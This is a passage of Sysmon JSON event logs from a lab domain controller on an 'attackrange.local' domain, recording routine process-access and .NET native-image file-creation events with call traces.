C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:01.713","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6405,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:01.713\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:01.713","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6406,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:01.713\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:01.713","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6407,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:01.713\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:01.713","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":6408,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:00:02.947\r\nProcessGuid: {90617006-423C-5F2D-0000-0010D6830900}\r\nProcessId: 4712\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1268-0\\System.Core.dll\r\nCreationUtcTime: 2020-08-07 12:00:02.947","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:00:02.947","ProcessGuid":"{90617006-423C-5F2D-0000-0010D6830900}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1268-0\\System.Core.dll","CreationUtcTime":"2020-08-07 12:00:02.947","EventReceivedTime":"2020-08-07 12:00:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6409,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:03.119\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-422C-5F2D-0000-00103A210900}\r\nTargetProcessId: 1600\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:03.119","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-422C-5F2D-0000-00103A210900}","TargetProcessId":"1600","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6410,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:03.119\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-422C-5F2D-0000-00103A210900}\r\nTargetProcessId: 1600\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:03.119","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-422C-5F2D-0000-00103A210900}","TargetProcessId":"1600","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6411,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:03.119\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-422C-5F2D-0000-00103A210900}\r\nTargetProcessId: 1600\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:03.119","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-422C-5F2D-0000-00103A210900}","TargetProcessId":"1600","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":6412,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:00:03.807\r\nProcessGuid: {90617006-4243-5F2D-0000-0010FB8A0900}\r\nProcessId: 1600\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\640-0\\System.Configuration.dll\r\nCreationUtcTime: 2020-08-07 12:00:03.807","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:00:03.807","ProcessGuid":"{90617006-4243-5F2D-0000-0010FB8A0900}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\640-0\\System.Configuration.dll","CreationUtcTime":"2020-08-07 12:00:03.807","EventReceivedTime":"2020-08-07 12:00:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6413,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:03.853\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4243-5F2D-0000-0010D18E0900}\r\nTargetProcessId: 4636\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 